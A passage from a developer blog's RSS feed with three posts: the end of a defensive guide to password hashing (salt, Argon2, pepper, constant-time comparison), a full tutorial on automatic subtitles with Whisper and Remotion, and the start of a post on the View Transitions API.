end&lt;/p&gt;
&lt;p&gt;subgraph Login
D([Frontend]) -- &quot;email + password&quot; --&amp;gt; E[[Server]];
E -- find by email O(n) --&amp;gt; F[(Database)];
F -- Found --&amp;gt; G{&quot;p0 == hash(p1 + salt)?&quot;};
F -- Not found --&amp;gt; H[Redirect Registration];
G -- False --&amp;gt; I[[&quot;401 Unauthorized&quot;]]
G -- True --&amp;gt; J[[&quot;200 Welcome&quot;]]
end`} /&amp;gt;&lt;/p&gt;
&lt;p&gt;&quot;But wait,&quot; you might say, &quot;if the hacker steals the database, they steal both the hashes and the salts. What&apos;s the point?&quot;&lt;/p&gt;
&lt;p&gt;Excellent question! The salt, in fact, is not a secret. Its strength lies not in its secrecy, but in its uniqueness. Since each user has a different salt, &quot;my cousin&apos;s&quot; Rainbow Table becomes an expensive paperweight. To attack your database, the hacker would have to create a new, gigantic Rainbow Table for each individual user, using their specific salt. This makes the attack economically and computationally unsustainable, reducing it to an individual brute-force attack, password by password, which is infinitely slower.&lt;/p&gt;
&lt;h2&gt;Slower Hashing Function&lt;/h2&gt;
&lt;p&gt;We&apos;ve rendered Rainbow Tables useless, but we&apos;re not done yet. The hacker can still take a single user (with their hash and salt) and try to guess their password with a brute-force attack.&lt;/p&gt;
&lt;p&gt;Here the speed problem reappears. Algorithms like SHA-256 are designed to be lightning-fast. With a good GPU, an attacker can test billions of combinations per second. If a user&apos;s password is &quot;juventus1990&quot;, even with the salt, it will be found in a few minutes.&lt;/p&gt;
&lt;p&gt;The solution is a &lt;strong&gt;paradigm shift&lt;/strong&gt;: use deliberately slow and &quot;expensive&quot; hashing algorithms in computational terms.&lt;/p&gt;
&lt;p&gt;Imagine no longer using a kitchen blender, but a complex industrial machine that takes half a second to process a single password. For a user logging in, half a second is imperceptible. For a hacker who has to try billions of passwords, however, this slowdown makes the attack prohibitive.&lt;/p&gt;
&lt;p&gt;This is where specific password algorithms come into play:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;bcrypt&lt;/strong&gt;: The &quot;grandparent&quot; of all slow hashing algorithms. Based on Blowfish, it was designed to be computationally heavy for the CPU. It has a &quot;cost factor&quot; (cost) that you can increase over time to make it progressively slower and keep pace with increasing computing power.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;scrypt&lt;/strong&gt; and &lt;strong&gt;Argon2&lt;/strong&gt;: These are the evolution. In addition to being slow, they are also &quot;memory-hard,&quot; meaning they require a large amount of RAM to execute. This is a fatal blow to GPUs, which have immense processing power but very little memory per core. Argon2, in particular, won the &quot;Password Hashing Competition&quot; in 2015 and is now considered the gold standard.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Argon2d&lt;/code&gt; is optimized to resist GPU attacks.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Argon2i&lt;/code&gt; is optimized to resist timing attacks and other side-channel attacks.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Argon2id&lt;/code&gt; is the fusion of the two, the hybrid version that combines the strengths of both.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Timing Attack Prevention&lt;/h3&gt;
&lt;p&gt;The simple comparison &lt;code&gt;hash1 == hash2&lt;/code&gt; can expose a subtle but real risk called a &lt;strong&gt;Timing Attack&lt;/strong&gt;. To avoid this, it&apos;s crucial to use a &quot;constant-time&quot; comparison function, which always takes the same amount of time to return a result. In Python, for example, the &lt;code&gt;hmac&lt;/code&gt; library offers the &lt;code&gt;compare_digest&lt;/code&gt; function.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import hmac
is_auth = hmac.compare_digest(p_login_hashed, p1_hashed) # Much more secure!
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Pepper&lt;/h2&gt;
&lt;p&gt;There&apos;s an additional layer of &quot;paranoia&quot; we can add to increase security. We have the hash and the salt in the database. What happens if a hacker manages to breach the server and perform a complete DB dump? They&apos;ll have everything they need to start their slow offline brute-force attacks.&lt;/p&gt;
&lt;p&gt;We can make their life even harder with a &lt;strong&gt;Pepper&lt;/strong&gt;. The pepper is a secret value, a static string known only to the application. Unlike the salt, the pepper is not saved in the database, but is hidden in the application&apos;s source code or in a secure configuration file on the server.&lt;/p&gt;
&lt;p&gt;The calculation becomes: &lt;code&gt;hash(password + salt + pepper)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TD
subgraph Registration
ENV[[.env]] -- pepper --&amp;gt; B
A([Frontend]) -- &quot;email + password&quot; --&amp;gt; B[[Server]];
B -- &quot;hash(pepper + salt + password)&quot; --&amp;gt; B2(&quot;fingerprint (p0)&quot;)
B2 -- &quot;set email, fingerprint, salt&quot; --&amp;gt; C[(Database)];
end&lt;/p&gt;
&lt;p&gt;subgraph Login
D([Frontend]) -- &quot;email + password&quot; --&amp;gt; E[[Server]];
E -- find by email (also select salt) --&amp;gt; F[(Database)];
ENV2[[.env]] -- pepper --&amp;gt; E
F -- Found --&amp;gt; G{&quot;p0 == hash(pepper + salt + p1)?&quot;};
F -- Not found --&amp;gt; H[Redirect Registration];
G -- False --&amp;gt; I[[&quot;401 Unauthorized&quot;]]
G -- True --&amp;gt; J[[&quot;200 Welcome&quot;]]
end`} /&amp;gt;&lt;/p&gt;
&lt;p&gt;If the hacker steals the database, they&apos;re still missing a piece of the puzzle: the secret pepper. Without it, they cannot replicate the hashes, rendering their database dump almost useless. This represents an additional line of defense against a total database compromise.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;The pepper increases security, but it&apos;s not a panacea. If a hacker gains access not only to the database but also to the server&apos;s source code or configuration files, they will also find the pepper, nullifying its usefulness. Furthermore, managing the pepper (its rotation, its distribution in multi-server environments) can be complex. It&apos;s an excellent additional layer, but it doesn&apos;t replace the need for a slow hashing algorithm and a salt.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Passwordless&lt;/h2&gt;
&lt;p&gt;We have built an almost impregnable fortress for our passwords. But the truth is, the most secure fortress is one that doesn&apos;t need to be defended. The ultimate evolution is &lt;strong&gt;passwordless&lt;/strong&gt; authentication.&lt;/p&gt;
&lt;p&gt;The idea is to completely eliminate the user&apos;s need to create and remember a password. Techniques include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Magic Links&lt;/strong&gt;: links sent via email that you click to log in.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OAuth&lt;/strong&gt;: the classic &quot;Sign in with Google/Facebook/GitHub.&quot;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebAuthn&lt;/strong&gt;: the standard of the future. It allows the use of biometric methods (fingerprint, facial recognition) or physical security keys (like YubiKeys) for authentication. It&apos;s extremely secure and easy to use.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;However, as long as the classic email/password combination continues to exist, our duty is to protect it in the most robust way possible: by using a modern, slow, and memory-hard hashing algorithm like Argon2id, a unique salt for each user, and, for maximum security, a secret pepper.&lt;/p&gt;
</content:encoded></item><item><title>Automatic Subtitles with Whisper and Remotion: A Complete Guide</title><link>https://didof.dev/blog/guide-subtitles-automatic-whisper-remotion/</link><guid isPermaLink="true">https://didof.dev/blog/guide-subtitles-automatic-whisper-remotion/</guid><description>Discover how to generate automatic subtitles (and translations) for your videos. A step-by-step guide to the workflow with AI Whisper, Remotion, and ffmpeg to save time.</description><pubDate>Wed, 16 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { MagnetLinesHr } from &quot;@/components/reactbits/magnets-lines/hr&quot;
import Mermaid from &quot;@/components/mermaid.astro&quot;&lt;/p&gt;
&lt;h2&gt;Handy and Versatile&lt;/h2&gt;
&lt;p&gt;Whisper and Remotion are really handy tools. What you&apos;ll see in this post, automatic subtitle creation, is just &lt;strong&gt;one of the many possible use cases&lt;/strong&gt; for these open-source technologies. Think of it as a gym for learning the fundamentals, which you can then apply to your own projects.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Are you a &lt;strong&gt;podcaster&lt;/strong&gt;? You could use this stack to generate promotional videos with your synchronized audio waveform, taking advantage of Remotion&apos;s ready-made templates.&lt;/p&gt;
&lt;p&gt;Are you a &lt;strong&gt;creative coder&lt;/strong&gt; or a digital artist? Imagine being able to finally render your WebGL creations, your shaders, and your polygons into a clean MP4 video, without going crazy with screen capture software.&lt;/p&gt;
&lt;p&gt;Maybe you &lt;strong&gt;give talks&lt;/strong&gt; and need a custom-made video-slide template.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This workflow will give you the tools to do all of that. Now, let&apos;s start with our concrete example.&lt;/p&gt;
&lt;p&gt;In my case, I want to add subtitles to my videos. Mainly because statistics show me that some viewers have their volume set to zero. However, although various apps and TikTok&apos;s own editor are excellent for starting out, they still require considerable operating time and manual labor on my part. Time is a precious resource, so it&apos;s time to automate.&lt;/p&gt;
&lt;p&gt;We want:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Input: some &lt;code&gt;.mp4&lt;/code&gt; where someone is talking (☝️🤓)&lt;/strong&gt;. The editing of the scenes that make up the video has already been done with other specific tools. Here, we&apos;re just adding the captions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;To extract text and translations with the highest possible accuracy&lt;/strong&gt;. To assemble everything into a final video with unique animations and style that no traditional editor can give you. And we&apos;ll do it by writing code you probably already know.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;To apply your format, your colors&lt;/strong&gt;. It can both automate recurring visualizations and enhance your &lt;em&gt;personal branding&lt;/em&gt;. It&apos;s up to you how you ~implement it~ have an LLM generate it for you.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Basically:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Stop &lt;strong&gt;editing&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Start &lt;strong&gt;building&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;Mermaid chart={`flowchart TB
B[&quot;audio.wav&quot;]
A[&quot;video_input.mp4&quot;]
W(((&quot;Whisper&quot;)))
E[&quot;caption_italiano.json&quot;]
F[&quot;caption_inglese.json&quot;]
G(((&quot;Remotion&quot;)))
H[&quot;video_output.mp4&quot;]
A e1@== ffmpeg ==&amp;gt; B
B e2@==&amp;gt; W
W e3@== transcribe ==&amp;gt; E
W -. translate .-&amp;gt; F
E e4@==&amp;gt; G
F --&amp;gt; G
A --&amp;gt; G
G e5@==&amp;gt; H&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;e1@{ animation: fast }
e2@{ animation: fast }
e3@{ animation: fast }
e4@{ animation: fast }
e5@{ animation: fast }`}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;/&amp;gt;&lt;/p&gt;
&lt;h2&gt;Whisper&lt;/h2&gt;
&lt;p&gt;Everyone thinks Whisper is a transcription tool. Wrong. Or rather, incomplete. To understand its power, we first need to understand how a traditional &lt;strong&gt;ASR (Automatic Speech Recognition)&lt;/strong&gt; works and why Whisper is different.&lt;/p&gt;
&lt;p&gt;A classic ASR is an assembly line that processes sound in stages. The first step is the most abstract and crucial: the &lt;strong&gt;Acoustic Model&lt;/strong&gt;.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;What does an Acoustic Model do? It breaks down sound into &quot;Phonemes.&quot;&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Imagine &lt;strong&gt;phonemes&lt;/strong&gt; as the LEGO® bricks of spoken language. They are the smallest units of sound that distinguish one word from another. They aren&apos;t letters, but the actual sounds.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;C&lt;/strong&gt;at vs. &lt;strong&gt;B&lt;/strong&gt;at: The only thing that changes is the initial sound. The hard /k/ sound and the /b/ sound are two different phonemes.&lt;/li&gt;
&lt;li&gt;R&lt;strong&gt;i&lt;/strong&gt;de vs. R&lt;strong&gt;oa&lt;/strong&gt;d: Here, the vowel sound in the middle changes the entire meaning. The /aɪ/ sound and the /oʊ/ sound are two other distinct phonemes.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A traditional ASR must first &quot;listen&quot; to the continuous sound wave of your speech and break it down into a sequence of these sound-bricks. Only then, with other models, does it try to reconstruct the words and sentences. It&apos;s a rigid, specialized, step-by-step process.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;How it differs&lt;/h3&gt;
&lt;p&gt;Whisper throws away this assembly line. It&apos;s a &lt;strong&gt;single end-to-end Transformer model&lt;/strong&gt;, much more similar to an LLM like GPT than to an ASR. And its secret lies in &lt;strong&gt;tokens&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;How does Whisper really work? The token game.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Whisper doesn&apos;t &quot;listen and transcribe&quot; in the classic sense. Instead, it transforms the audio into a numerical representation and then asks its decoder, &quot;Okay, starting from this audio and these commands, what words should I generate?&quot;.&lt;/p&gt;
&lt;p&gt;The &quot;commands&quot; are &lt;strong&gt;special tokens&lt;/strong&gt; we give it as a prompt to guide the result. The flexibility is total.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Example 1: Simple Transcription in Italian&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;|startoftranscript|&amp;gt; &amp;lt;|it|&amp;gt; &amp;lt;|transcribe|&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;startoftranscript&lt;/code&gt;: Starts the process.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;it&lt;/code&gt;: Specifies the language (Italian).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;transcribe&lt;/code&gt;: Sets the transcription task.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example 2: Translation to English&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;|startoftranscript|&amp;gt; &amp;lt;|it|&amp;gt; &amp;lt;|translate|&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;translate&lt;/code&gt;: This single token change tells the model not to transcribe, but to translate the Italian audio directly into English text.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example 3: Controlling Timestamps&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;|startoftranscript|&amp;gt; &amp;lt;|it|&amp;gt; &amp;lt;|transcribe|&amp;gt; &amp;lt;|notimestamps|&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;notimestamps&lt;/code&gt;: If you don&apos;t want the timing data for each word, add this token. If you omit it, you&apos;ll get them by default.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Example 4: Language Identification&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;&lt;code&gt;&amp;lt;|startoftranscript|&amp;gt;&lt;/code&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;By providing only the start token, the first token Whisper will generate is the one for the language it has detected (e.g., &lt;code&gt;&amp;lt;|en|&amp;gt;&lt;/code&gt; or &lt;code&gt;&amp;lt;|es|&amp;gt;&lt;/code&gt;).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Get the trick? &lt;strong&gt;Whisper doesn&apos;t have different functions; it has a single generative engine that you can steer with tokens.&lt;/strong&gt; This makes it incredibly versatile, but it&apos;s also why it can &quot;hallucinate&quot;: if it&apos;s not sure, it tries to generate the most plausible text sequence, just like an LLM would.&lt;/p&gt;
&lt;hr /&gt;
&lt;h3&gt;Licenses&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Always check the licenses yourself. This post is here to stay, and things can always change over time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Whisper&apos;s dual nature remains a key point.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Open-Source (MIT License)&lt;/strong&gt;: You download it, run it wherever you want, even in commercial projects. The only obligation is to maintain the original attribution. Maximum freedom, maximum responsibility.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;OpenAI&apos;s API (Terms of Service)&lt;/strong&gt;: You pay for a service. Simpler, more scalable, but you&apos;re bound by OpenAI&apos;s rules. You are a customer, not a user of free software.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Remotion&lt;/h2&gt;
&lt;p&gt;Basically, &lt;a href=&quot;https://www.remotion.dev/&quot;&gt;Remotion&lt;/a&gt; is a thingy that (at the time of writing) you install with &lt;code&gt;npx create-video@latest&lt;/code&gt; and it comes with well-made &lt;a href=&quot;https://www.remotion.dev/templates&quot;&gt;templates&lt;/a&gt;, which are excellent starting points. Like the template for &lt;a href=&quot;https://www.remotion.dev/templates/tiktok&quot;&gt;TikTok&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Golden Cages&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;The video editors integrated into social platforms (CapCut, the TikTok editor, Instagram Reels) are great for starting out. They are, by definition, a subset of the possibilities. What you can do with them depends on what their developers were paid to implement. You work within their boundaries, which isn&apos;t necessarily a bad thing. It depends on whether you currently have the capacity to invest time in automating some aspect of video editing that might be useful to you now or later.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;The Power of the Web Stack&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This is not an exaggeration. It means you can use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CSS&lt;/strong&gt;: Want to use a specific font from Google Fonts? Done. Want a complex text gradient, an artistic &lt;code&gt;text-shadow&lt;/code&gt;, or a &lt;code&gt;clip-path&lt;/code&gt; to reveal text in an original way? ~You can do it~ You can prompt it properly to have it do it for you. Democratization of &lt;strong&gt;Brand identity&lt;/strong&gt;(?)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;SVG&lt;/strong&gt;: Import complex vector logos like your &lt;strong&gt;company&apos;s&lt;/strong&gt; as a watermark.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;WebGL&lt;/strong&gt;: For the more ~daring~ nerdy, this opens the door to 3D and GPU-accelerated effects with libraries like &lt;code&gt;three.js&lt;/code&gt;. Jokes aside, making 3D stuff is art in every sense, literally painting with math. It&apos;s cool, come on.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;But many other useful ones.&lt;/p&gt;
&lt;p&gt;Maybe &lt;a href=&quot;https://www.remotion.dev/templates/audiogram&quot;&gt;Audiogram&lt;/a&gt; to put a visualization of your podcast&apos;s audio track or &lt;a href=&quot;https://www.remotion.dev/templates/music-visualization&quot;&gt;music&lt;/a&gt;. The &lt;a href=&quot;https://www.remotion.dev/templates/code-hike&quot;&gt;animated code&lt;/a&gt; template is super interesting (dependency: &lt;a href=&quot;https://codehike.org/&quot;&gt;Code Hike&lt;/a&gt;).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h3&gt;Licenses&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;Always check the licenses yourself. This post is here to stay, and things can always change over time.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Free for small teams (up to 3 people), non-profits, and freelancers. Paid for larger companies (4 employees and up). A fair model that encourages adoption.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;Perfect, let&apos;s update the workflow section with these practical steps. Remotion&apos;s TikTok template is an excellent starting point because it already integrates &lt;code&gt;whisper.cpp&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Here is the new &quot;Workflow&quot; section, rewritten with your instructions.&lt;/p&gt;
&lt;p&gt;&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Workflow&lt;/h2&gt;
&lt;p&gt;I recommend starting from the &lt;a href=&quot;https://www.remotion.dev/templates/tiktok&quot;&gt;official Remotion template&lt;/a&gt; for TikTok-style videos, which already has everything you need to get started.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Create the Project&lt;/strong&gt;
Open your terminal and run this command. It will create a new folder with a pre-configured Remotion project for generating subtitles.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx create-video@latest --template tiktok
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Configure Whisper&lt;/strong&gt;
Before running any scripts, open the &lt;code&gt;src/whisper-config.mjs&lt;/code&gt; file. Here you need to specify the Whisper model to use and the language of your audio. For a good balance, you could use:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;WHISPER_MODEL&lt;/code&gt;: &lt;code&gt;large-v3&lt;/code&gt; (very accurate) or &lt;code&gt;medium&lt;/code&gt; (faster).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WHISPER_LANG&lt;/code&gt;: &lt;code&gt;en&lt;/code&gt; for English (or &lt;code&gt;it&lt;/code&gt; for Italian, etc.).&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; The first time you run the transcription script, &lt;code&gt;whisper.cpp&lt;/code&gt; will be downloaded and compiled automatically. Be patient for a few minutes; subsequent runs will be instantaneous.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;await installWhisperCpp({ ... });
await downloadWhisperModel({ ... });
&lt;/code&gt;&lt;/pre&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Transcribe the Audio&lt;/strong&gt;
Move your video file (e.g., &lt;code&gt;my-video.mp4&lt;/code&gt;) into the project&apos;s &lt;code&gt;public/&lt;/code&gt; folder. Then, run the transcription script:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;node sub.mjs public/my-video.mp4
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The template uses the following code to extract the audio from the video using the correct bitrate:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const extractToTempAudioFile = (fileToTranscribe, tempOutFile) =&amp;gt; {
// Extracting audio from mp4 and save it as 16khz wav file
execSync(
    `npx remotion ffmpeg -i &quot;${fileToTranscribe}&quot; -ar 16000 &quot;${tempOutFile}&quot; -y`,
    { stdio: [&quot;ignore&quot;, &quot;inherit&quot;] },
);
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It saves it in a &lt;code&gt;temp&lt;/code&gt; folder. Immediately after, it uses it to get the &lt;code&gt;captions&lt;/code&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const whisperCppOutput = await transcribe({ ... })
const { captions } = toCaptions({ whisperCppOutput })
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will save the result (words and timestamps) in a JSON file with the same name as the video, but a different extension.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[
  {
    &quot;text&quot;: &quot;Example&quot;,
    &quot;startMs&quot;: 0,
    &quot;endMs&quot;: 330,
    &quot;timestampMs&quot;: null,
    &quot;confidence&quot;: 0.90491
  }
]
&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Translate the Transcript&lt;/strong&gt; (Optional)
You are free to evolve this script as you see fit. In my case, I introduced an additional translation step, again thanks to Whisper.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;const englishWhisperOutput = await transcribe({
    ...
    translateToEnglish: true,
});
&lt;/code&gt;&lt;/pre&gt;
&lt;blockquote&gt;
&lt;p&gt;It is very important to provide the entire text to the &lt;code&gt;transcribe&lt;/code&gt; function. Whisper&apos;s output improves if it has the full context available. If you split the input into chunks and process them separately, they will be treated independently of each other, and it will not be able to use the context for a more accurate transcription and translation.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Customize and Preview&lt;/strong&gt;
Launch the Remotion Studio to see a live preview in your browser:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;pnpm dev
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Open the &lt;code&gt;src/CaptionVideo.tsx&lt;/code&gt; file. This is the React component where you can modify the appearance of the subtitles: change the font, colors, position, animations. Every change will be reflected in real-time in the Studio.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Render the Final Video&lt;/strong&gt;
When you&apos;re satisfied with the result you see in the preview, stop the studio (&lt;code&gt;Ctrl+C&lt;/code&gt;) and run the final rendering command:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npx remotion render
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Remotion will process the video frame by frame, applying your custom subtitles, and save the final MP4 file in the &lt;code&gt;out/&lt;/code&gt; folder.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Alternatively, you can trigger the render directly from the &lt;code&gt;localhost&lt;/code&gt; interface. You can also select different settings.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;&amp;lt;MagnetLinesHr client:idle /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;The Whisper + Remotion combo is a game-changer. It transforms video creation from a manual and restrictive process to a &lt;strong&gt;programmatic, automated, and creatively limitless&lt;/strong&gt; one.&lt;/p&gt;
&lt;p&gt;You are literally building your videos as if they were interactive web applications. And this not only saves you an enormous amount of time but also drastically raises the quality and uniqueness of your final product.&lt;/p&gt;
&lt;p&gt;Giving you more free time, too.&lt;/p&gt;
</content:encoded></item><item><title>Animated Transitions in MPAs with the View Transitions API</title><link>https://didof.dev/blog/view-transition-api-in-mpa-spa-comparison/</link><guid isPermaLink="true">https://didof.dev/blog/view-transition-api-in-mpa-spa-comparison/</guid><description>Enjoy your Multi-Page Application (MPA) without giving up smooth, SPA-like page transitions using the View Transitions API. A practical guide with code examples to implement professional animations with just a few lines of CSS, enhancing the user experience through progressive enhancement.</description><pubDate>Sun, 13 Jul 2025 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;import { CartProductGrid } from &quot;./cart-product-grid&quot;
import MermaidSequenceDiagram from &quot;@/components/mermaid/sequence-diagram.astro&quot;
import { MagnetLinesHr } from &quot;@/components/reactbits/magnets-lines/hr&quot;&lt;/p&gt;
&lt;p&gt;As you browse this site, you might notice that animations are not confined to the elements of a single page.
For example, when you select an article from the &lt;a href=&quot;/blog/&quot;&gt;list&lt;/a&gt;, its thumbnail image smoothly expands to become the hero image on the detail page.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This happens even though the site uses a traditional &lt;strong&gt;Multi-Page Application (MPA)&lt;/strong&gt; architecture, where each navigation triggers a full new page load.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;These transitions, like the one you see in the interactive e-commerce cart example below, are achieved through &lt;strong&gt;Progressive Enhancement&lt;/strong&gt; using the &amp;lt;a href=&quot;https://caniuse.com/cross-document-view-transitions&quot; target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot;&amp;gt;View Transitions API&amp;lt;/a&amp;gt;.
The concept of progressive enhancement is fundamental: the functionality is added as an enhancement layer.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;If the user&apos;s browser supports it, the animation occurs;&lt;/li&gt;
&lt;li&gt;Otherwise, the user simply sees a standard navigation with no breakage or performance loss.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;An additional benefit is that the API natively respects user preferences. If the &lt;strong&gt;&lt;code&gt;prefers-reduced-motion&lt;/code&gt;&lt;/strong&gt; option is enabled in the operating system, transitions are automatically disabled, ensuring accessibility without writing a single extra line of code.&lt;/p&gt;
&lt;p&gt;&amp;lt;CartProductGrid client:visible locale=&quot;en&quot; /&amp;gt;&lt;/p&gt;
&lt;h2&gt;Client-Server Interaction: MPA vs. SPA&lt;/h2&gt;
&lt;p&gt;To appreciate the importance of this API, it&apos;s helpful to review the evolution of web architectures.&lt;/p&gt;
&lt;h3&gt;Multi-Page Application (MPA)&lt;/h3&gt;
&lt;p&gt;In the early days of the web, the MPA model was the only one.
Browsers were relatively simple clients with less powerful JavaScript engines.
Their main job was to render HTML and CSS sent from the server.&lt;/p&gt;
&lt;p&gt;Consequently, the entire &lt;strong&gt;application state&lt;/strong&gt; (who you are, what&apos;s in your cart, etc.) had to reside and be managed almost exclusively on the server.
With each interaction, the browser requested a completely new page.&lt;/p&gt;
&lt;p&gt;&amp;lt;MermaidSequenceDiagram chart={`sequenceDiagram
participant Browser as User
participant Server as Server&lt;/p&gt;
&lt;p&gt;Note over Browser: User clicks a link or submits a form&lt;/p&gt;
&lt;p&gt;Browser-&amp;gt;&amp;gt;Server: HTTP request for a new page (e.g., GET /products)&lt;/p&gt;
&lt;p&gt;activate Server
Note right of Server: The server retrieves the state&amp;lt;br/&amp;gt;(e.g., user session, DB data)&amp;lt;br/&amp;gt;and generates a full HTML page.
Server--&amp;gt;&amp;gt;Browser: HTTP 200 OK Response (sends entire HTML file)
deactivate Server&lt;/p&gt;
&lt;p&gt;Note over Browser: The previous page&apos;s context&amp;lt;br/&amp;gt;is completely destroyed.&amp;lt;br/&amp;gt;The browser renders the new page from scratch.`}
/&amp;gt;&lt;/p&gt;
&lt;h3&gt;Single-Page Application (SPA)&lt;/h3&gt;
